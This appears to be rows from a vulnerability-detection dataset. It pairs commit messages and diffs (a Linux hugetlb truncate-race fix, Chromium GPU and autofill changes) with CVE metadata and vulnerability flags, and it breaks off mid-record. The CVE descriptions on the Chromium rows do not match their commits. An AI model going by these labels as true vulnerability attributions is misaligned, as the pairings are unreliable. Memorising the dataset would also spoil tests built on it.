RIP: remove_inode_hugepages+0x3d0/0x410
Call Trace:
hugetlbfs_setattr+0xd9/0x130
notify_change+0x292/0x410
do_truncate+0x65/0xa0
do_sys_ftruncate.constprop.3+0x11a/0x180
SyS_ftruncate+0xe/0x10
tracesys+0xd9/0xde
was caused by the lack of i_size check in hugetlb_mcopy_atomic_pte.
mmap() can still succeed beyond the end of the i_size after vmtruncate
zapped vmas in those ranges, but the faults must not succeed, and that
includes UFFDIO_COPY.
We could differentiate the retval to userland to represent a SIGBUS like
a page fault would do (vs SIGSEGV), but it doesn't seem very useful and
we'd need to pick a random retval as there's no meaningful syscall
retval that would differentiate from SIGSEGV and SIGBUS, there's just
-EFAULT.
Link: http://lkml.kernel.org/r/20171016223914.2421-2-aarcange@redhat.com
Signed-off-by: Andrea Arcangeli <aarcange@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
Cc: Mike Rapoport <rppt@linux.vnet.ibm.com>
Cc: "Dr. David Alan Gilbert" <dgilbert@redhat.com>
Cc: <stable@vger.kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
| 0
|
mm/hugetlb.c
|
{"sha": "2d2ff5e8bf2bc035eb300ee16dbdaadcdb0279dd", "filename": "mm/hugetlb.c", "status": "modified", "additions": 30, "deletions": 2, "changes": 32, "blob_url": "https://github.com/torvalds/linux/blob/1e3921471354244f70fe268586ff94a97a6dd4df/mm/hugetlb.c", "raw_url": "https://github.com/torvalds/linux/raw/1e3921471354244f70fe268586ff94a97a6dd4df/mm/hugetlb.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/mm/hugetlb.c?ref=1e3921471354244f70fe268586ff94a97a6dd4df", "patch": "@@ -3984,6 +3984,9 @@ int hugetlb_mcopy_atomic_pte(struct mm_struct *dst_mm,\n \t\t\t unsigned long src_addr,\n \t\t\t struct page **pagep)\n {\n+\tstruct address_space *mapping;\n+\tpgoff_t idx;\n+\tunsigned long size;\n \tint vm_shared = dst_vma->vm_flags & VM_SHARED;\n \tstruct hstate *h = hstate_vma(dst_vma);\n \tpte_t _dst_pte;\n@@ -4021,13 +4024,24 @@ int hugetlb_mcopy_atomic_pte(struct mm_struct *dst_mm,\n \t__SetPageUptodate(page);\n \tset_page_huge_active(page);\n \n+\tmapping = dst_vma->vm_file->f_mapping;\n+\tidx = vma_hugecache_offset(h, dst_vma, dst_addr);\n+\n \t/*\n \t * If shared, add to page cache\n \t */\n \tif (vm_shared) {\n-\t\tstruct address_space *mapping = dst_vma->vm_file->f_mapping;\n-\t\tpgoff_t idx = vma_hugecache_offset(h, dst_vma, dst_addr);\n+\t\tsize = i_size_read(mapping->host) >> huge_page_shift(h);\n+\t\tret = -EFAULT;\n+\t\tif (idx >= size)\n+\t\t\tgoto out_release_nounlock;\n \n+\t\t/*\n+\t\t * Serialization between remove_inode_hugepages() and\n+\t\t * huge_add_to_page_cache() below happens through the\n+\t\t * hugetlb_fault_mutex_table that here must be hold by\n+\t\t * the caller.\n+\t\t */\n \t\tret = huge_add_to_page_cache(page, mapping, idx);\n \t\tif (ret)\n \t\t\tgoto out_release_nounlock;\n@@ -4036,6 +4050,20 @@ int hugetlb_mcopy_atomic_pte(struct mm_struct *dst_mm,\n \tptl = huge_pte_lockptr(h, dst_mm, dst_pte);\n \tspin_lock(ptl);\n \n+\t/*\n+\t * Recheck the i_size after holding PT lock to make sure not\n+\t * to leave any page mapped (as page_mapped()) beyond the end\n+\t * of the i_size (remove_inode_hugepages() is strict about\n+\t * enforcing that). If we bail out here, we'll also leave a\n+\t * page in the radix tree in the vm_shared case beyond the end\n+\t * of the i_size, but remove_inode_hugepages() will take care\n+\t * of it as soon as we drop the hugetlb_fault_mutex_table.\n+\t */\n+\tsize = i_size_read(mapping->host) >> huge_page_shift(h);\n+\tret = -EFAULT;\n+\tif (idx >= size)\n+\t\tgoto out_release_unlock;\n+\n \tret = -EEXIST;\n \tif (!huge_pte_none(huge_ptep_get(dst_pte)))\n \t\tgoto out_release_unlock;"}
|
void hugetlb_show_meminfo(void)
{
struct hstate *h;
int nid;
if (!hugepages_supported())
return;
for_each_node_state(nid, N_MEMORY)
for_each_hstate(h)
pr_info("Node %d hugepages_total=%u hugepages_free=%u hugepages_surp=%u hugepages_size=%lukB\n",
nid,
h->nr_huge_pages_node[nid],
h->free_huge_pages_node[nid],
h->surplus_huge_pages_node[nid],
1UL << (huge_page_order(h) + PAGE_SHIFT - 10));
}
|
void hugetlb_show_meminfo(void)
{
struct hstate *h;
int nid;
if (!hugepages_supported())
return;
for_each_node_state(nid, N_MEMORY)
for_each_hstate(h)
pr_info("Node %d hugepages_total=%u hugepages_free=%u hugepages_surp=%u hugepages_size=%lukB\n",
nid,
h->nr_huge_pages_node[nid],
h->free_huge_pages_node[nid],
h->surplus_huge_pages_node[nid],
1UL << (huge_page_order(h) + PAGE_SHIFT - 10));
}
|
C
| null | null | null |
@@ -3984,6 +3984,9 @@ int hugetlb_mcopy_atomic_pte(struct mm_struct *dst_mm,
unsigned long src_addr,
struct page **pagep)
{
+ struct address_space *mapping;
+ pgoff_t idx;
+ unsigned long size;
int vm_shared = dst_vma->vm_flags & VM_SHARED;
struct hstate *h = hstate_vma(dst_vma);
pte_t _dst_pte;
@@ -4021,13 +4024,24 @@ int hugetlb_mcopy_atomic_pte(struct mm_struct *dst_mm,
__SetPageUptodate(page);
set_page_huge_active(page);
+ mapping = dst_vma->vm_file->f_mapping;
+ idx = vma_hugecache_offset(h, dst_vma, dst_addr);
+
/*
* If shared, add to page cache
*/
if (vm_shared) {
- struct address_space *mapping = dst_vma->vm_file->f_mapping;
- pgoff_t idx = vma_hugecache_offset(h, dst_vma, dst_addr);
+ size = i_size_read(mapping->host) >> huge_page_shift(h);
+ ret = -EFAULT;
+ if (idx >= size)
+ goto out_release_nounlock;
+ /*
+ * Serialization between remove_inode_hugepages() and
+ * huge_add_to_page_cache() below happens through the
+ * hugetlb_fault_mutex_table that here must be hold by
+ * the caller.
+ */
ret = huge_add_to_page_cache(page, mapping, idx);
if (ret)
goto out_release_nounlock;
@@ -4036,6 +4050,20 @@ int hugetlb_mcopy_atomic_pte(struct mm_struct *dst_mm,
ptl = huge_pte_lockptr(h, dst_mm, dst_pte);
spin_lock(ptl);
+ /*
+ * Recheck the i_size after holding PT lock to make sure not
+ * to leave any page mapped (as page_mapped()) beyond the end
+ * of the i_size (remove_inode_hugepages() is strict about
+ * enforcing that). If we bail out here, we'll also leave a
+ * page in the radix tree in the vm_shared case beyond the end
+ * of the i_size, but remove_inode_hugepages() will take care
+ * of it as soon as we drop the hugetlb_fault_mutex_table.
+ */
+ size = i_size_read(mapping->host) >> huge_page_shift(h);
+ ret = -EFAULT;
+ if (idx >= size)
+ goto out_release_unlock;
+
ret = -EEXIST;
if (!huge_pte_none(huge_ptep_get(dst_pte)))
goto out_release_unlock;
|
linux
|
1e3921471354244f70fe268586ff94a97a6dd4df
|
5cb0512c02ecd7e6214e912e4c150f4219ac78e0
| 0
|
void hugetlb_show_meminfo(void)
{
struct hstate *h;
int nid;
if (!hugepages_supported())
return;
for_each_node_state(nid, N_MEMORY)
for_each_hstate(h)
pr_info("Node %d hugepages_total=%u hugepages_free=%u hugepages_surp=%u hugepages_size=%lukB\n",
nid,
h->nr_huge_pages_node[nid],
h->free_huge_pages_node[nid],
h->surplus_huge_pages_node[nid],
1UL << (huge_page_order(h) + PAGE_SHIFT - 10));
}
|
149,727
| null |
Remote
|
Not required
|
Partial
|
CVE-2017-5057
|
https://www.cvedetails.com/cve/CVE-2017-5057/
|
CWE-125
|
Medium
|
Partial
|
Partial
| null |
2017-10-27
| 6.8
|
Type confusion in PDFium in Google Chrome prior to 58.0.3029.81 for Mac, Windows, and Linux, and 58.0.3029.83 for Android, allowed a remote attacker to perform an out of bounds memory read via a crafted PDF file.
|
2018-01-04
| null | 0
|
https://github.com/chromium/chromium/commit/cbc5d5153b18ea387f4769caa01d1339261f6ed6
|
cbc5d5153b18ea387f4769caa01d1339261f6ed6
|
gpu: Disallow use of IOSurfaces for half-float format with swiftshader.
R=kbr@chromium.org
Bug: 998038
Change-Id: Ic31d28938ef205b36657fc7bd297fe8a63d08543
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1798052
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Auto-Submit: Khushal <khushalsagar@chromium.org>
Cr-Commit-Position: refs/heads/master@{#695826}
| 0
|
gpu/command_buffer/service/feature_info.cc
|
{"sha": "aa567968e2ec4c52596d0614e2c6384619394aac", "filename": "gpu/command_buffer/service/feature_info.cc", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/cbc5d5153b18ea387f4769caa01d1339261f6ed6/gpu/command_buffer/service/feature_info.cc", "raw_url": "https://github.com/chromium/chromium/raw/cbc5d5153b18ea387f4769caa01d1339261f6ed6/gpu/command_buffer/service/feature_info.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/service/feature_info.cc?ref=cbc5d5153b18ea387f4769caa01d1339261f6ed6", "patch": "@@ -426,6 +426,11 @@ void FeatureInfo::EnableOESTextureHalfFloatLinear() {\n return;\n AddExtensionString(\"GL_OES_texture_half_float_linear\");\n feature_flags_.enable_texture_half_float_linear = true;\n+\n+ // TODO(capn) : Re-enable this once we have ANGLE+SwiftShader supporting\n+ // IOSurfaces.\n+ if (workarounds_.disable_half_float_for_gmb)\n+ return;\n feature_flags_.gpu_memory_buffer_formats.Add(gfx::BufferFormat::RGBA_F16);\n }\n "}<_**next**_>{"sha": "694b89dfcdd9f05036f2f4ab18dee70ade67f8f8", "filename": "gpu/config/gpu_driver_bug_list.json", "status": "modified", "additions": 12, "deletions": 0, "changes": 12, "blob_url": "https://github.com/chromium/chromium/blob/cbc5d5153b18ea387f4769caa01d1339261f6ed6/gpu/config/gpu_driver_bug_list.json", "raw_url": "https://github.com/chromium/chromium/raw/cbc5d5153b18ea387f4769caa01d1339261f6ed6/gpu/config/gpu_driver_bug_list.json", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/config/gpu_driver_bug_list.json?ref=cbc5d5153b18ea387f4769caa01d1339261f6ed6", "patch": "@@ -3345,6 +3345,18 @@\n \"features\": [\n \"exit_on_context_lost\"\n ]\n+ },\n+ {\n+ \"id\": 311,\n+ \"cr_bugs\": [998038],\n+ \"description\": \"Don't use IOSurface backed GMBs for half float textures with swiftshader\",\n+ \"os\": {\n+ \"type\" : \"macosx\"\n+ },\n+ \"gl_renderer\": \"Google SwiftShader*\",\n+ \"features\": [\n+ \"disable_half_float_for_gmb\"\n+ ]\n }\n ]\n }"}<_**next**_>{"sha": "92a00ff63fea1b2d1bcf3306dcf1bc80882316b0", "filename": "gpu/config/gpu_workaround_list.txt", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/cbc5d5153b18ea387f4769caa01d1339261f6ed6/gpu/config/gpu_workaround_list.txt", "raw_url": "https://github.com/chromium/chromium/raw/cbc5d5153b18ea387f4769caa01d1339261f6ed6/gpu/config/gpu_workaround_list.txt", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/config/gpu_workaround_list.txt?ref=cbc5d5153b18ea387f4769caa01d1339261f6ed6", "patch": "@@ -114,3 +114,4 @@ wake_up_gpu_before_drawing\n use_copyteximage2d_instead_of_readpixels_on_multisampled_textures\n use_eqaa_storage_samples_2\n max_3d_array_texture_size_1024\n+disable_half_float_for_gmb"}
|
void FeatureInfo::EnableEXTColorBufferFloat() {
if (!ext_color_buffer_float_available_)
return;
AddExtensionString("GL_EXT_color_buffer_float");
validators_.render_buffer_format.AddValue(GL_R16F);
validators_.render_buffer_format.AddValue(GL_RG16F);
validators_.render_buffer_format.AddValue(GL_RGBA16F);
validators_.render_buffer_format.AddValue(GL_R32F);
validators_.render_buffer_format.AddValue(GL_RG32F);
validators_.render_buffer_format.AddValue(GL_RGBA32F);
validators_.render_buffer_format.AddValue(GL_R11F_G11F_B10F);
validators_.texture_sized_color_renderable_internal_format.AddValue(GL_R16F);
validators_.texture_sized_color_renderable_internal_format.AddValue(GL_RG16F);
validators_.texture_sized_color_renderable_internal_format.AddValue(
GL_RGBA16F);
validators_.texture_sized_color_renderable_internal_format.AddValue(GL_R32F);
validators_.texture_sized_color_renderable_internal_format.AddValue(GL_RG32F);
validators_.texture_sized_color_renderable_internal_format.AddValue(
GL_RGBA32F);
validators_.texture_sized_color_renderable_internal_format.AddValue(
GL_R11F_G11F_B10F);
feature_flags_.enable_color_buffer_float = true;
}
|
void FeatureInfo::EnableEXTColorBufferFloat() {
if (!ext_color_buffer_float_available_)
return;
AddExtensionString("GL_EXT_color_buffer_float");
validators_.render_buffer_format.AddValue(GL_R16F);
validators_.render_buffer_format.AddValue(GL_RG16F);
validators_.render_buffer_format.AddValue(GL_RGBA16F);
validators_.render_buffer_format.AddValue(GL_R32F);
validators_.render_buffer_format.AddValue(GL_RG32F);
validators_.render_buffer_format.AddValue(GL_RGBA32F);
validators_.render_buffer_format.AddValue(GL_R11F_G11F_B10F);
validators_.texture_sized_color_renderable_internal_format.AddValue(GL_R16F);
validators_.texture_sized_color_renderable_internal_format.AddValue(GL_RG16F);
validators_.texture_sized_color_renderable_internal_format.AddValue(
GL_RGBA16F);
validators_.texture_sized_color_renderable_internal_format.AddValue(GL_R32F);
validators_.texture_sized_color_renderable_internal_format.AddValue(GL_RG32F);
validators_.texture_sized_color_renderable_internal_format.AddValue(
GL_RGBA32F);
validators_.texture_sized_color_renderable_internal_format.AddValue(
GL_R11F_G11F_B10F);
feature_flags_.enable_color_buffer_float = true;
}
|
C
| null | null | null |
@@ -426,6 +426,11 @@ void FeatureInfo::EnableOESTextureHalfFloatLinear() {
return;
AddExtensionString("GL_OES_texture_half_float_linear");
feature_flags_.enable_texture_half_float_linear = true;
+
+ // TODO(capn) : Re-enable this once we have ANGLE+SwiftShader supporting
+ // IOSurfaces.
+ if (workarounds_.disable_half_float_for_gmb)
+ return;
feature_flags_.gpu_memory_buffer_formats.Add(gfx::BufferFormat::RGBA_F16);
}
|
Chrome
|
cbc5d5153b18ea387f4769caa01d1339261f6ed6
|
1102f12d8e3317d18baae355789e893aba57a325
| 0
|
void FeatureInfo::EnableEXTColorBufferFloat() {
if (!ext_color_buffer_float_available_)
return;
AddExtensionString("GL_EXT_color_buffer_float");
validators_.render_buffer_format.AddValue(GL_R16F);
validators_.render_buffer_format.AddValue(GL_RG16F);
validators_.render_buffer_format.AddValue(GL_RGBA16F);
validators_.render_buffer_format.AddValue(GL_R32F);
validators_.render_buffer_format.AddValue(GL_RG32F);
validators_.render_buffer_format.AddValue(GL_RGBA32F);
validators_.render_buffer_format.AddValue(GL_R11F_G11F_B10F);
validators_.texture_sized_color_renderable_internal_format.AddValue(GL_R16F);
validators_.texture_sized_color_renderable_internal_format.AddValue(GL_RG16F);
validators_.texture_sized_color_renderable_internal_format.AddValue(
GL_RGBA16F);
validators_.texture_sized_color_renderable_internal_format.AddValue(GL_R32F);
validators_.texture_sized_color_renderable_internal_format.AddValue(GL_RG32F);
validators_.texture_sized_color_renderable_internal_format.AddValue(
GL_RGBA32F);
validators_.texture_sized_color_renderable_internal_format.AddValue(
GL_R11F_G11F_B10F);
feature_flags_.enable_color_buffer_float = true;
}
|
107,183
| null |
Remote
|
Not required
|
Partial
|
CVE-2011-1292
|
https://www.cvedetails.com/cve/CVE-2011-1292/
|
CWE-399
|
Low
|
Partial
|
Partial
| null |
2011-03-25
| 7.5
|
Use-after-free vulnerability in the frame-loader implementation in Google Chrome before 10.0.648.204 allows remote attackers to cause a denial of service or possibly have unspecified other impact via unknown vectors.
|
2017-09-18
|
DoS
| 0
|
https://github.com/chromium/chromium/commit/5f372f899b8709dac700710b5f0f90959dcf9ecb
|
5f372f899b8709dac700710b5f0f90959dcf9ecb
|
Add support for autofill server experiments
BUG=none
TEST=unit_tests --gtest_filter=AutoFillMetricsTest.QualityMetricsWithExperimentId:AutoFillQueryXmlParserTest.ParseExperimentId
Review URL: http://codereview.chromium.org/6260027
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@73216 0039d316-1c4b-4281-b951-d872f2087c98
| 0
|
chrome/browser/autofill/autofill_manager.cc
|
{"sha": "ed73429e0fff008aeaa29bbc608ff7d0ce833d6d", "filename": "chrome/browser/autofill/autofill_manager.cc", "status": "modified", "additions": 26, "deletions": 16, "changes": 42, "blob_url": "https://github.com/chromium/chromium/blob/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/autofill_manager.cc", "raw_url": "https://github.com/chromium/chromium/raw/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/autofill_manager.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/autofill/autofill_manager.cc?ref=5f372f899b8709dac700710b5f0f90959dcf9ecb", "patch": "@@ -512,6 +512,7 @@ void AutoFillManager::LogMetricsAboutSubmittedForm(\n cached_fields[field->FieldSignature()] = field;\n }\n \n+ std::string experiment_id = cached_submitted_form->server_experiment_id();\n for (size_t i = 0; i < submitted_form->field_count(); ++i) {\n const AutoFillField* field = submitted_form->field(i);\n FieldTypeSet field_types;\n@@ -526,13 +527,14 @@ void AutoFillManager::LogMetricsAboutSubmittedForm(\n }\n \n // Log various quality metrics.\n- metric_logger_->Log(AutoFillMetrics::FIELD_SUBMITTED);\n+ metric_logger_->Log(AutoFillMetrics::FIELD_SUBMITTED, experiment_id);\n if (field_types.find(EMPTY_TYPE) == field_types.end() &&\n field_types.find(UNKNOWN_TYPE) == field_types.end()) {\n if (field->is_autofilled()) {\n- metric_logger_->Log(AutoFillMetrics::FIELD_AUTOFILLED);\n+ metric_logger_->Log(AutoFillMetrics::FIELD_AUTOFILLED, experiment_id);\n } else {\n- metric_logger_->Log(AutoFillMetrics::FIELD_AUTOFILL_FAILED);\n+ metric_logger_->Log(AutoFillMetrics::FIELD_AUTOFILL_FAILED,\n+ experiment_id);\n \n AutoFillFieldType heuristic_type = UNKNOWN_TYPE;\n AutoFillFieldType server_type = NO_SERVER_DATA;\n@@ -543,19 +545,27 @@ void AutoFillManager::LogMetricsAboutSubmittedForm(\n server_type = cached_field->second->server_type();\n }\n \n- if (heuristic_type == UNKNOWN_TYPE)\n- metric_logger_->Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_UNKNOWN);\n- else if (field_types.count(heuristic_type))\n- metric_logger_->Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_MATCH);\n- else\n- metric_logger_->Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_MISMATCH);\n-\n- if (server_type == NO_SERVER_DATA)\n- metric_logger_->Log(AutoFillMetrics::FIELD_SERVER_TYPE_UNKNOWN);\n- else if (field_types.count(server_type))\n- metric_logger_->Log(AutoFillMetrics::FIELD_SERVER_TYPE_MATCH);\n- else\n- metric_logger_->Log(AutoFillMetrics::FIELD_SERVER_TYPE_MISMATCH);\n+ if (heuristic_type == UNKNOWN_TYPE) {\n+ metric_logger_->Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_UNKNOWN,\n+ experiment_id);\n+ } else if (field_types.count(heuristic_type)) {\n+ metric_logger_->Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_MATCH,\n+ experiment_id);\n+ } else {\n+ metric_logger_->Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_MISMATCH,\n+ experiment_id);\n+ }\n+\n+ if (server_type == NO_SERVER_DATA) {\n+ metric_logger_->Log(AutoFillMetrics::FIELD_SERVER_TYPE_UNKNOWN,\n+ experiment_id);\n+ } else if (field_types.count(server_type)) {\n+ metric_logger_->Log(AutoFillMetrics::FIELD_SERVER_TYPE_MATCH,\n+ experiment_id);\n+ } else {\n+ metric_logger_->Log(AutoFillMetrics::FIELD_SERVER_TYPE_MISMATCH,\n+ experiment_id);\n+ }\n }\n \n // TODO(isherman): Other things we might want to log here:"}<_**next**_>{"sha": "816cb677d16892bd966f305c2327225eec555858", "filename": "chrome/browser/autofill/autofill_manager.h", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/autofill_manager.h", "raw_url": "https://github.com/chromium/chromium/raw/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/autofill_manager.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/autofill/autofill_manager.h?ref=5f372f899b8709dac700710b5f0f90959dcf9ecb", "patch": "@@ -235,6 +235,7 @@ class AutoFillManager : public TabContentsObserver,\n NoQualityMetricsForNonAutoFillableForms);\n FRIEND_TEST_ALL_PREFIXES(AutoFillMetricsTest, SaneMetricsWithCacheMismatch);\n FRIEND_TEST_ALL_PREFIXES(AutoFillMetricsTest, QualityMetricsForFailure);\n+ FRIEND_TEST_ALL_PREFIXES(AutoFillMetricsTest, QualityMetricsWithExperimentId);\n \n DISALLOW_COPY_AND_ASSIGN(AutoFillManager);\n };"}<_**next**_>{"sha": "da300646a1702d7586a4fd2b7bb2ebb7201350a5", "filename": "chrome/browser/autofill/autofill_metrics.cc", "status": "modified", "additions": 7, "deletions": 3, "changes": 10, "blob_url": "https://github.com/chromium/chromium/blob/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/autofill_metrics.cc", "raw_url": "https://github.com/chromium/chromium/raw/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/autofill_metrics.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/autofill/autofill_metrics.cc?ref=5f372f899b8709dac700710b5f0f90959dcf9ecb", "patch": "@@ -19,9 +19,13 @@ void AutoFillMetrics::Log(ServerQueryMetric metric) const {\n NUM_SERVER_QUERY_METRICS);\n }\n \n-void AutoFillMetrics::Log(QualityMetric metric) const {\n+void AutoFillMetrics::Log(QualityMetric metric,\n+ const std::string& experiment_id) const {\n DCHECK(metric < NUM_QUALITY_METRICS);\n \n- UMA_HISTOGRAM_ENUMERATION(\"AutoFill.Quality\", metric,\n- NUM_QUALITY_METRICS);\n+ std::string histogram_name = \"AutoFill.Quality\";\n+ if (!experiment_id.empty())\n+ histogram_name += \"_\" + experiment_id;\n+\n+ UMA_HISTOGRAM_ENUMERATION(histogram_name, metric, NUM_QUALITY_METRICS);\n }"}<_**next**_>{"sha": "6afc364b9a2ce58efa604f197fa4b6c8229aac20", "filename": "chrome/browser/autofill/autofill_metrics.h", "status": "modified", "additions": 4, "deletions": 1, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/autofill_metrics.h", "raw_url": "https://github.com/chromium/chromium/raw/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/autofill_metrics.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/autofill/autofill_metrics.h?ref=5f372f899b8709dac700710b5f0f90959dcf9ecb", "patch": "@@ -6,6 +6,8 @@\n #define CHROME_BROWSER_AUTOFILL_AUTOFILL_METRICS_H_\n #pragma once\n \n+#include <string>\n+\n #include \"base/basictypes.h\"\n \n class AutoFillMetrics {\n@@ -59,7 +61,8 @@ class AutoFillMetrics {\n virtual ~AutoFillMetrics();\n \n virtual void Log(ServerQueryMetric metric) const;\n- virtual void Log(QualityMetric metric) const;\n+ virtual void Log(QualityMetric metric,\n+ const std::string& experiment_id) const;\n \n private:\n DISALLOW_COPY_AND_ASSIGN(AutoFillMetrics);"}<_**next**_>{"sha": "007b90c5254e04ac12d7b70bcb17829404f7e565", "filename": "chrome/browser/autofill/autofill_metrics_unittest.cc", "status": "modified", "additions": 102, "deletions": 30, "changes": 132, "blob_url": "https://github.com/chromium/chromium/blob/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/autofill_metrics_unittest.cc", "raw_url": "https://github.com/chromium/chromium/raw/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/autofill_metrics_unittest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/autofill/autofill_metrics_unittest.cc?ref=5f372f899b8709dac700710b5f0f90959dcf9ecb", "patch": "@@ -87,7 +87,8 @@ class MockAutoFillMetrics : public AutoFillMetrics {\n public:\n MockAutoFillMetrics() {}\n MOCK_CONST_METHOD1(Log, void(ServerQueryMetric metric));\n- MOCK_CONST_METHOD1(Log, void(QualityMetric metric));\n+ MOCK_CONST_METHOD2(Log, void(QualityMetric metric,\n+ const std::string& experiment_id));\n \n private:\n DISALLOW_COPY_AND_ASSIGN(MockAutoFillMetrics);\n@@ -144,7 +145,15 @@ class TestFormStructure : public FormStructure {\n UpdateAutoFillCount();\n }\n \n+ virtual std::string server_experiment_id() const OVERRIDE {\n+ return server_experiment_id_;\n+ }\n+ void set_server_experiment_id(const std::string& server_experiment_id) {\n+ server_experiment_id_ = server_experiment_id;\n+ }\n+\n private:\n+ std::string server_experiment_id_;\n DISALLOW_COPY_AND_ASSIGN(TestFormStructure);\n };\n \n@@ -211,21 +220,22 @@ TEST_F(AutoFillMetricsTest, QualityMetrics) {\n // Establish our expectations.\n ::testing::InSequence dummy;\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_SUBMITTED));\n+ Log(AutoFillMetrics::FIELD_SUBMITTED, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_AUTOFILLED));\n+ Log(AutoFillMetrics::FIELD_AUTOFILLED, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_SUBMITTED));\n+ Log(AutoFillMetrics::FIELD_SUBMITTED, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_AUTOFILL_FAILED));\n+ Log(AutoFillMetrics::FIELD_AUTOFILL_FAILED, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_UNKNOWN));\n+ Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_UNKNOWN,\n+ std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_SERVER_TYPE_UNKNOWN));\n+ Log(AutoFillMetrics::FIELD_SERVER_TYPE_UNKNOWN, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_SUBMITTED));\n+ Log(AutoFillMetrics::FIELD_SUBMITTED, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_SUBMITTED));\n+ Log(AutoFillMetrics::FIELD_SUBMITTED, std::string()));\n \n // Simulate form submission.\n EXPECT_NO_FATAL_FAILURE(autofill_manager_->OnFormSubmitted(form));\n@@ -328,13 +338,13 @@ TEST_F(AutoFillMetricsTest, QualityMetricsForFailure) {\n ::testing::InSequence dummy;\n for (size_t i = 0; i < ARRAYSIZE_UNSAFE(failure_cases); ++i) {\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_SUBMITTED));\n+ Log(AutoFillMetrics::FIELD_SUBMITTED, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_AUTOFILL_FAILED));\n+ Log(AutoFillMetrics::FIELD_AUTOFILL_FAILED, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(failure_cases[i].heuristic_metric));\n+ Log(failure_cases[i].heuristic_metric, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(failure_cases[i].server_metric));\n+ Log(failure_cases[i].server_metric, std::string()));\n }\n \n // Simulate form submission.\n@@ -397,35 +407,37 @@ TEST_F(AutoFillMetricsTest, SaneMetricsWithCacheMismatch) {\n // Establish our expectations.\n ::testing::InSequence dummy;\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_SUBMITTED));\n+ Log(AutoFillMetrics::FIELD_SUBMITTED, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_AUTOFILL_FAILED));\n+ Log(AutoFillMetrics::FIELD_AUTOFILL_FAILED, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_UNKNOWN));\n+ Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_UNKNOWN,\n+ std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_SERVER_TYPE_UNKNOWN));\n+ Log(AutoFillMetrics::FIELD_SERVER_TYPE_UNKNOWN, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_SUBMITTED));\n+ Log(AutoFillMetrics::FIELD_SUBMITTED, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_AUTOFILL_FAILED));\n+ Log(AutoFillMetrics::FIELD_AUTOFILL_FAILED, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_MATCH));\n+ Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_MATCH, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- 